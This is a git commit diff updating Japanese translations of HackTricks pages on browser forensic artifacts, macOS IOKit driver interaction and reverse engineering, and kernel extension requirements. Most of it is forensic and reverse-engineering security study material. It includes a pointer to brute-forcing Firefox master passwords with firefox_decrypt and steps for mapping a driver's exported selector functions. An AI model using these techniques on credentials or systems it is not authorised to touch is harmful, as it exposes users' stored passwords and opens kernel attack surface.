Translated ['generic-methodologies-and-resources/basic-forensic-methodol

This commit is contained in:
Translator 2024-07-19 10:21:08 +00:00
parent 3a704dfb6d
commit 1ead72b9b1
150 changed files with 6255 additions and 5159 deletions

View file

@ -10,7 +10,7 @@ GCPハッキングを学び、実践する: <img src="/.gitbook/assets/grte.png"
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してください。**
* **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してください。**
</details>
{% endhint %}
@ -50,7 +50,7 @@ Firefoxは、ユーザーデータをプロファイル内に整理し、オペ
* **MacOS**: `/Users/$USER/Library/Application Support/Firefox/Profiles/`
* **Windows**: `%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\`
これらのディレクトリ内の`profiles.ini`ファイルには、ユーザープロファイルがリストされています。各プロファイルのデータは、`profiles.ini`内の`Path`変数に名前が付けられたフォルダーに保存され、`profiles.ini`自体と同じディレクトリにあります。プロファイルのフォルダーが欠けている場合、それは削除された可能性があります。
これらのディレクトリ内の`profiles.ini`ファイルには、ユーザープロファイルがリストされています。各プロファイルのデータは、`profiles.ini`内の`Path`変数に名前が付けられたフォルダーに保存され、`profiles.ini`自体と同じディレクトリにあります。プロファイルのフォルダーが欠けている場合は削除された可能性があります。
各プロファイルフォルダー内には、いくつかの重要なファイルがあります:
@ -72,7 +72,7 @@ Firefoxは、ユーザーデータをプロファイル内に整理し、オペ
さらに、ブラウザのフィッシング対策設定を確認するには、`prefs.js`内の`browser.safebrowsing`エントリを検索し、安全なブラウジング機能が有効または無効になっているかを示します。
マスターパスワードを解読しようとするは、[https://github.com/unode/firefox\_decrypt](https://github.com/unode/firefox\_decrypt)を使用できます。\
マスターパスワードを解読しようとする場合は、[https://github.com/unode/firefox\_decrypt](https://github.com/unode/firefox\_decrypt)を使用できます。\
次のスクリプトと呼び出しを使用して、ブルートフォースするパスワードファイルを指定できます:
{% code title="brute.sh" %}
@ -112,7 +112,7 @@ Google Chromeは、オペレーティングシステムに基づいて特定の
* **Extensions**: ブラウザ拡張機能やアドオンのディレクトリ。
* **Thumbnails**: ウェブサイトのサムネイルを保存します。
* **Preferences**: プラグイン、拡張機能、ポップアップ、通知などの設定を含む情報が豊富なファイル。
* **Browsers built-in anti-phishing**: フィッシング対策とマルウェア保護が有効かどうかを確認するには、`grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences`を実行します。出力に`{"enabled: true,"}`があるかします。
* **Browsers built-in anti-phishing**: フィッシング対策とマルウェア保護が有効かどうかを確認するには、`grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences`を実行します。出力に`{"enabled: true,"}`があるか確認します。
## **SQLite DB Data Recovery**
@ -132,7 +132,7 @@ Internet Explorerのメタデータは、`%userprofile%\Appdata\Local\Microsoft\
### クッキー管理
クッキーは[IECookiesView](https://www.nirsoft.net/utils/iecookies.html)を使用して探索でき、メタデータには名前、URL、アクセス回数、さまざまな時間関連の詳細が含まれます。永続的なクッキーは`%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies`に保存され、セッションクッキーはメモリに存在します。
クッキーは[IECookiesView](https://www.nirsoft.net/utils/iecookies.html)を使用して調査でき、メタデータには名前、URL、アクセス回数、さまざまな時間関連の詳細が含まれます。永続的なクッキーは`%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies`に保存され、セッションクッキーはメモリに存在します。
### ダウンロード詳細
@ -144,7 +144,7 @@ Internet Explorerのメタデータは、`%userprofile%\Appdata\Local\Microsoft\
### 入力されたURL
入力されたURLとその使用時間は、`NTUSER.DAT`の`Software\Microsoft\InternetExplorer\TypedURLs`および`Software\Microsoft\InternetExplorer\TypedURLsTime`の下にレジストリに保存され、ユーザーが入力した最後の50のURLとその最後の入力時間を追跡します。
入力されたURLとその使用時間は、`NTUSER.DAT`の`Software\Microsoft\InternetExplorer\TypedURLs`および`Software\Microsoft\InternetExplorer\TypedURLsTime`のレジストリに保存され、ユーザーが入力した最後の50のURLとその最後の入力時間を追跡します。
## Microsoft Edge
@ -158,7 +158,7 @@ Microsoft Edgeは、`%userprofile%\Appdata\Local\Packages`にユーザーデー
## Safari
Safariデータは`/Users/$User/Library/Safari`に保存されます。主なファイルは次のとおりです:
Safariデータは`/Users/$User/Library/Safari`に保存されます。主なファイルは次のとおりです:
* **History.db**: `history_visits`および`history_items`テーブルにURLと訪問タイムスタンプが含まれています。`sqlite3`を使用してクエリを実行します。
* **Downloads.plist**: ダウンロードされたファイルに関する情報。
@ -171,9 +171,9 @@ Safariデータは`/Users/$User/Library/Safari`に保存されます。主要な
## Opera
Operaのデータは`/Users/$USER/Library/Application Support/com.operasoftware.Opera`にあり、履歴とダウンロードの形式はChromeと共有ています。
Operaのデータは`/Users/$USER/Library/Application Support/com.operasoftware.Opera`にあり、履歴とダウンロードの形式はChromeと共有されています。
* **Browsers built-in anti-phishing**: `grep`を使用してPreferencesファイル内の`fraud_protection_enabled`が`true`に設定されているか確認します。
* **Browsers built-in anti-phishing**: `Preferences`ファイル内の`fraud_protection_enabled`が`true`に設定されているか確認することで検証します。`grep`を使用します。
これらのパスとコマンドは、さまざまなウェブブラウザによって保存されたブラウジングデータにアクセスし、理解するために重要です。
@ -187,21 +187,22 @@ Operaのデータは`/Users/$USER/Library/Application Support/com.operasoftware.
<figure><img src="../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=browser-artifacts) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=browser-artifacts)を使用して、世界で最も高度なコミュニティツールによって駆動される**ワークフローを簡単に構築および自動化**します。\
今すぐアクセスを取得:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=browser-artifacts" %}
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricksをサポートする</summary>
Other ways to support HackTricks:
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
{% endhint %}

View file

@ -1,28 +1,31 @@
# macOS IOKit
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>Support HackTricks</summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live).
* **Comparte tus trucos de hacking enviando PR a** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **y** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## 基本情報
I/O Kitは、XNUカーネル内のオープンソースのオブジェクト指向**デバイスドライバーフレームワーク**であり、**動的にロードされデバイスドライバー**を処理します。これにより、カーネルにモジュラーコードを即座に追加して、さまざまなハードウェアをサポートできます。
I/O Kitは、XNUカーネル内のオープンソースのオブジェクト指向**デバイスドライバーフレームワーク**であり、**動的にロードされデバイスドライバー**を処理します。これにより、さまざまなハードウェアをサポートするために、モジュールコードをカーネルにオンザフライで追加できます。
IOKitドライバーは基本的にカーネルから**関数をエクスポート**します。これらの関数のパラメータ**タイプ**は**事前に定義**され、検証されます。さらに、XPCと同様に、IOKitは単なる**Machメッセージの上にある別のレイヤー**です。
IOKitドライバーは基本的に**カーネルから関数をエクスポート**します。これらの関数パラメータの**型**は**事前定義**されており、検証されます。さらに、XPCと同様に、IOKitは**Machメッセージの上にある別のレイヤー**です。
**IOKit XNUカーネルコード**はAppleによってオープンソース化されており、[https://github.com/apple-oss-distributions/xnu/tree/main/iokit](https://github.com/apple-oss-distributions/xnu/tree/main/iokit)で入手できます。さらに、ユーザースペースのIOKitコンポーネントもオープンソースです [https://github.com/opensource-apple/IOKitUser](https://github.com/opensource-apple/IOKitUser)。
**IOKit XNUカーネルコード**はAppleによって[https://github.com/apple-oss-distributions/xnu/tree/main/iokit](https://github.com/apple-oss-distributions/xnu/tree/main/iokit)でオープンソース化されています。さらに、ユーザースペースのIOKitコンポーネントもオープンソースです[https://github.com/opensource-apple/IOKitUser](https://github.com/opensource-apple/IOKitUser)。
ただし、**IOKitドライバー**はオープンソースではありません。とはいえ、時折、ドライバーのリリースによってデバッグが容易になるシンボルが付属することがあります。[**ここからファームウェアからドライバー拡張機能を取得する方法**](./#ipsw)**を確認してください**
しかし、**IOKitドライバーは**オープンソースではありません。とはいえ、時折、デバッグを容易にするシンボルを持つドライバーのリリースがあるかもしれません。ここで[**ファームウェアからドライバー拡張を取得する方法**](./#ipsw)**を確認してください**
これは**C++**で書かれています。次のようにして、C++のシンボルをデマングル化できます
これは**C++**で書かれています。デマングルされたC++シンボルを取得するには
```bash
# Get demangled symbols
nm -C com.apple.driver.AppleJPEGDriver
@ -33,19 +36,19 @@ __ZN16IOUserClient202222dispatchExternalMethodEjP31IOExternalMethodArgumentsOpaq
IOUserClient2022::dispatchExternalMethod(unsigned int, IOExternalMethodArgumentsOpaque*, IOExternalMethodDispatch2022 const*, unsigned long, OSObject*, void*)
```
{% hint style="danger" %}
IOKit**公開された関数**は、クライアントが関数を呼び出そうとする際に**追加のセキュリティチェック**を実行する可能性がありますが、アプリは通常、IOKit関数とやり取りできる**サンドボックス**によって**制限**されていることに注意してください
IOKit **公開された関数**は、クライアントが関数を呼び出そうとする際に**追加のセキュリティチェック**を実行する可能性がありますが、アプリは通常、IOKit関数と相互作用できる**サンドボックス**によって**制限**されています
{% endhint %}
## ドライバー
macOSでは、それらは次の場所にあります:
macOSでは、次の場所にあります
* **`/System/Library/Extensions`**
* OS Xオペレーティングシステムに組み込まれたKEXTファイル。
* **`/Library/Extensions`**
* サードパーティソフトウェアによってインストールされたKEXTファイル
* サードパーティソフトウェアによってインストールされたKEXTファイル
iOSでは、それらは次の場所にあります:
iOSでは、次の場所にあります
* **`/System/Library/Extensions`**
```bash
@ -65,48 +68,48 @@ Index Refs Address Size Wired Name (Version) UUID <Linked
9 2 0xffffff8003317000 0xe000 0xe000 com.apple.kec.Libm (1) 6C1342CC-1D74-3D0F-BC43-97D5AD38200A <5>
10 12 0xffffff8003544000 0x92000 0x92000 com.apple.kec.corecrypto (11.1) F5F1255F-6552-3CF4-A9DB-D60EFDEB4A9A <8 7 6 5 3 1>
```
1. 数字9までのリストされたドライバーは**アドレス0にロードされます**。これは、それらが実際のドライバーではなく、**カーネルの一部でありアンロードできない**ことを意味します。
9までのリストされたドライバーは**アドレス0にロードされています**。これは、それらが実際のドライバーではなく、**カーネルの一部でありアンロードできないことを意味します**
特定の拡張機能を見つけるためには、次の方法を使用できます:
特定の拡張機能を見つけるには、次のコマンドを使用できます:
```bash
kextfind -bundle-id com.apple.iokit.IOReportFamily #Search by full bundle-id
kextfind -bundle-id -substring IOR #Search by substring in bundle-id
```
以下の手順でカーネル拡張機能をロードおよびアンロードします:
カーネル拡張をロードおよびアンロードするには、次のようにします:
```bash
kextload com.apple.iokit.IOReportFamily
kextunload com.apple.iokit.IOReportFamily
```
## IORegistry
**IORegistryIOレジストリ**は、macOSとiOSのIOKitフレームワークの重要な部分であり、システムのハードウェア構成と状態を表すデータベースとして機能します。これは、システムにロードされたすべてのハードウェアとドライバー、およびそれらの関係を表すオブジェクトの階層的コレクションです。
**IORegistry**は、macOSおよびiOSのIOKitフレームワークの重要な部分であり、システムのハードウェア構成と状態を表すデータベースとして機能します。これは、**システムにロードされたすべてのハードウェアとドライバを表すオブジェクトの階層的コレクション**あり、それらの相互関係を示しています。
iOS向けに特に便利なコンソールから**`ioreg`**コマンドラインインターフェースを使用してIORegistryを取得できます
IORegistryは、cli **`ioreg`**を使用してコンソールから検査することができ特にiOSに便利です
```bash
ioreg -l #List all
ioreg -w 0 #Not cut lines
ioreg -p <plane> #Check other plane
```
**IORegistryExplorer**を[**https://developer.apple.com/download/all/**](https://developer.apple.com/download/all/)から**Xcode追加ツール**をダウンロードして、**グラフィカル**インターフェースを通じて**macOS IORegistry**を調査できます。
**`IORegistryExplorer`**を**Xcode Additional Tools**から[**https://developer.apple.com/download/all/**](https://developer.apple.com/download/all/)でダウンロードし、**macOS IORegistry**を**グラフィカル**インターフェースを通じて検査できます。
<figure><img src="../../../.gitbook/assets/image (1167).png" alt="" width="563"><figcaption></figcaption></figure>
IORegistryExplorerでは、「planes」が使用され、IORegistry内の異なるオブジェクト間の関係を整理して表示します。各planeは、特定の関係の種類またはシステムのハードウェアおよびドライバー構成の特定のビューを表します。以下は、IORegistryExplorerで遭遇する可能性のある一般的なplaneのいくつかです:
IORegistryExplorerでは、「プレーン」はIORegistry内の異なるオブジェクト間の関係を整理し表示するために使用されます。各プレーンは、特定のタイプの関係またはシステムのハードウェアとドライバ構成の特定のビューを表します。IORegistryExplorerで遭遇する可能性のある一般的なプレーンは以下の通りです:
1. **IOService Plane**これは最も一般的なplaneで、ドライバーとnubドライバー間の通信チャンネル)を表すサービスオブジェクトを表示します。これらのオブジェクト間のプロバイダ-クライアント関係を示します。
2. **IODeviceTree Plane**このplaneは、デバイスがシステムに接続される際の物理的な接続を表します。USBやPCIなどのバスを介して接続されたデバイスの階層構造を視覚化するためによく使用されます。
3. **IOPower Plane**:電源管理の観点からオブジェクトとその関係を表示します。他のオブジェクトの電源状態に影響を与えているオブジェクトを示すことができ、電力関連の問題のデバッグに役立ちます。
4. **IOUSB Plane**USBデバイスとそれらの関係に特化し、USBハブと接続されたデバイスの階層構造示します。
5. **IOAudio Plane**このplaneは、システム内のオーディオデバイスとそれらの関係を表すためのものです。
1. **IOService Plane**: これは最も一般的なプレーンで、ドライバとナブ(ドライバ間の通信チャネル)を表すサービスオブジェクトを表示します。これらのオブジェクト間のプロバイダ-クライアント関係を示します。
2. **IODeviceTree Plane**: このプレーンは、デバイスがシステムに接続される物理的な接続を表します。USBやPCIのようなバスを介して接続されたデバイスの階層を視覚化するために使用されることがよくあります。
3. **IOPower Plane**: 電力管理の観点からオブジェクトとその関係を表示します。どのオブジェクトが他のオブジェクトの電力状態に影響を与えているかを示すことができ、電力関連の問題のデバッグに役立ちます。
4. **IOUSB Plane**: USBデバイスとその関係に特化しており、USBハブと接続されたデバイスの階層を示します。
5. **IOAudio Plane**: このプレーンは、システム内のオーディオデバイスとその関係を表すためのものです。
6. ...
## ドライバーCommコード例
## ドライバ通信コード例
のコードは、IOKitサービス`"YourServiceNameHere"`に接続し、セレクタ0内の関数を呼び出します。これには以下が含まれます
以下のコードは、IOKitサービス`"YourServiceNameHere"`に接続し、セレクタ0内の関数を呼び出します。そのために
* まず**`IOServiceMatching`**と**`IOServiceGetMatchingServices`**を呼び出してサービスを取得します。
* まず**`IOServiceMatching`**と**`IOServiceGetMatchingServices`**を呼び出してサービスを取得します。
* 次に、**`IOServiceOpen`**を呼び出して接続を確立します。
* 最後に、**`IOConnectCallScalarMethod`**を使用してセレクタ0を指定して関数を呼び出します(セレクタは呼び出したい関数に割り当てられた番号です)。
* 最後に、セレクタ0を示す**`IOConnectCallScalarMethod`**を使用して関数を呼び出します(セレクタは呼び出したい関数に割り当てられた番号です)。
```objectivec
#import <Foundation/Foundation.h>
#import <IOKit/IOKitLib.h>
@ -161,19 +164,19 @@ IOObjectRelease(iter);
return 0;
}
```
**その他**の関数があり、**`IOConnectCallScalarMethod`**の他に使用できる関数があります。**`IOConnectCallMethod`**、**`IOConnectCallStructMethod`**などがあります...
他にも **`IOConnectCallScalarMethod`** の他に **`IOConnectCallMethod`**、**`IOConnectCallStructMethod`** などの IOKit 関数を呼び出すために使用できる関数があります。
## ドライバエントリポイントのリバースエンジニアリング
## ドライバエントリポイントのリバースエンジニアリング
これらは、たとえば[**ファームウェアイメージipsw**](./#ipsw)から取得できます。次に、お気に入りのデコンパイラにロードします。
これらは例えば [**ファームウェアイメージ (ipsw)**](./#ipsw) から取得できます。その後、お気に入りのデコンパイラにロードします。
**`externalMethod`** 関数の逆コンパイルを開始できます。これは、呼び出しを受け取り、正しい関数を呼び出すドライバー関数です:
**`externalMethod`** 関数のデコンパイルを開始できます。これは呼び出しを受け取り、正しい関数を呼び出すドライバ関数です:
<figure><img src="../../../.gitbook/assets/image (1168).png" alt="" width="315"><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1169).png" alt=""><figcaption></figcaption></figure>
その酷い呼び出しは、次のようになります:
そのひどい呼び出しのデマグルは次の意味です:
{% code overflow="wrap" %}
```cpp
@ -181,7 +184,7 @@ IOUserClient2022::dispatchExternalMethod(unsigned int, IOExternalMethodArguments
```
{% endcode %}
前の定義では、**`self`** パラメータが抜けていることに注意してください。適切な定義は次のようになります:
前の定義では **`self`** パラメータが欠けていることに注意してください。良い定義は次のようになります:
{% code overflow="wrap" %}
```cpp
@ -189,25 +192,25 @@ IOUserClient2022::dispatchExternalMethod(self, unsigned int, IOExternalMethodArg
```
{% endcode %}
実際には、[https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/Kernel/IOUserClient.cpp#L6388](https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/Kernel/IOUserClient.cpp#L6388) で実際の定義を見つけることができます。
実際、真の定義は[https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/Kernel/IOUserClient.cpp#L6388](https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/Kernel/IOUserClient.cpp#L6388)で見つけることができます:
```cpp
IOUserClient2022::dispatchExternalMethod(uint32_t selector, IOExternalMethodArgumentsOpaque *arguments,
const IOExternalMethodDispatch2022 dispatchArray[], size_t dispatchArrayCount,
OSObject * target, void * reference)
```
この情報を使って、Ctrl+Right -> `Edit function signature`書き直し、既知のタイプを設定します:
この情報を使って、Ctrl+Right -> `Edit function signature`再記述し、既知の型を設定できます:
<figure><img src="../../../.gitbook/assets/image (1174).png" alt=""><figcaption></figcaption></figure>
新しい逆コンパイルされたコードは以下のようになります:
新しい逆コンパイルされたコードはのようになります:
<figure><img src="../../../.gitbook/assets/image (1175).png" alt=""><figcaption></figcaption></figure>
次のステップでは、**`IOExternalMethodDispatch2022`** 構造体を定義する必要があります。これは[こちら](https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/IOKit/IOUserClient.h#L168-L176)でオープンソースで提供されています。以下のように定義できます:
次のステップでは、**`IOExternalMethodDispatch2022`** 構造体を定義する必要があります。これは [https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/IOKit/IOUserClient.h#L168-L176](https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/IOKit/IOUserClient.h#L168-L176) でオープンソースです。これを定義できます:
<figure><img src="../../../.gitbook/assets/image (1170).png" alt=""><figcaption></figcaption></figure>
次に、`(IOExternalMethodDispatch2022 *)&sIOExternalMethodArray` に従って、多くのデータを確認できます:
、`(IOExternalMethodDispatch2022 *)&sIOExternalMethodArray` に従って、多くのデータが見えます:
<figure><img src="../../../.gitbook/assets/image (1176).png" alt="" width="563"><figcaption></figcaption></figure>
@ -219,14 +222,29 @@ OSObject * target, void * reference)
<figure><img src="../../../.gitbook/assets/image (1179).png" alt="" width="563"><figcaption></figcaption></figure>
そして、ここには**7つの要素の配列**があることがわかります(最終的な逆コンパイルされたコードを確認してください。7つの要素の配列を作成するためにクリックしてください
そして、今そこにあるのは **7つの要素の配列** です(最終的な逆コンパイルコードを確認してください。7つの要素の配列を作成するためにクリックします
<figure><img src="../../../.gitbook/assets/image (1180).png" alt="" width="563"><figcaption></figcaption></figure>
配列が作成されたら、すべてのエクスポートされた関数を確認できます:
配列が作成された後、すべてのエクスポートされた関数が見えます:
<figure><img src="../../../.gitbook/assets/image (1181).png" alt=""><figcaption></figcaption></figure>
{% hint style="success" %}
覚えているかもしれませんが、ユーザースペースから**エクスポートされた**関数を**呼び出す**には、関数の名前ではなく**セレクタ番号**を呼び出す必要があります。ここで、セレクタ **0** は関数 **`initializeDecoder`**、セレクタ **1****`startDecoder`**、セレクタ **2****`initializeEncoder`** です...
覚えておいてください、ユーザースペースから **エクスポートされた** 関数を **呼び出す** には、関数の名前を呼び出す必要はなく、**セレクタ番号** を呼び出す必要があります。ここでは、セレクタ **0** が関数 **`initializeDecoder`**、セレクタ **1****`startDecoder`**、セレクタ **2****`initializeEncoder`** であることがわかります...
{% endhint %}
{% hint style="success" %}
AWSハッキングを学び、練習する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、練習する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricksをサポートする</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) または [**テレグラムグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
</details>
{% endhint %}

View file

@ -1,62 +1,68 @@
# macOSカーネル拡張機能
# macOS Kernel Extensions
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTEHackTricks AWS Red Team ExpertでAWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong></strong></a></summary>
<summary>Support HackTricks</summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで企業を宣伝**したいですか? または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか? [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をご覧ください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)をチェックして、独占的な[NFTコレクション](https://opensea.io/collection/the-peass-family)を発見してください
* [**PEASSとHackTricksの公式スウォッグ**](https://peass.creator-spring.com)を入手してください
* **Discord**の[**💬**](https://emojipedia.org/speech-balloon/) **グループに参加**するか、[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私に[**@carlospolopm**](https://twitter.com/hacktricks\_live)をフォローしてください。
* **ハッキングのヒントを共有する**には、[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks)と[**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud)にPRを送信してください。
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## 基本情報
カーネル拡張機能Kextsは、**`.kext`**拡張子を持つ**パッケージ**であり、**macOSカーネルスペースに直接ロード**され、メインオペレーティングシステムに追加機能を提供します。
カーネル拡張Kextは、**`.kext`** 拡張子を持つ **パッケージ** であり、**macOS カーネル空間に直接ロードされる**ことで、主要なオペレーティングシステムに追加機能を提供します。
### 要件
明らかに、これは非常に強力なため、カーネル拡張機能をロードするのは**複雑**です。カーネル拡張機能をロードするために満たす必要がある**要件**は次のとおりです:
明らかに、これは非常に強力であるため、**カーネル拡張をロードするのは複雑です**。カーネル拡張がロードされるために満たすべき **要件** は次のとおりです:
* **リカバリモードに入る**とき、カーネル**拡張機能をロードすることが許可**されている必要があります
* **リカバリモードに入るとき**、カーネル **拡張がロードされることを許可する必要があります**
<figure><img src="../../../.gitbook/assets/image (327).png" alt=""><figcaption></figcaption></figure>
* カーネル拡張機能は、**Appleによってのみ付与されるカーネルコード署名証明書**で**署名されている**必要があります。Appleは、会社やその必要性を詳細に検討します。
* カーネル拡張機能はまた、**ノータライズ**されている必要があり、Appleはマルウェアをチェックできます。
* その後、**root**ユーザーがカーネル拡張機能を**ロードできる**ユーザーであり、パッケージ内のファイルは**rootに属している**必要があります
* アップロードプロセス中、パッケージは**保護された非rootの場所**に準備されなければなりません:`/Library/StagedExtensions``com.apple.rootless.storage.KernelExtensionManagement`権限が必要)。
* 最後に、ユーザーはそれをロードしようとすると、[**確認リクエストを受け取ります**](https://developer.apple.com/library/archive/technotes/tn2459/\_index.html) そして、承認された場合、コンピュータを**再起動**してそれをロードする必要があります。
* カーネル拡張は、**Appleによってのみ付与されるカーネルコード署名証明書で署名されている必要があります**。誰が会社とその必要性を詳細にレビューします。
* カーネル拡張はまた、**公証されている必要があります**。Appleはそれをマルウェアのチェックができます。
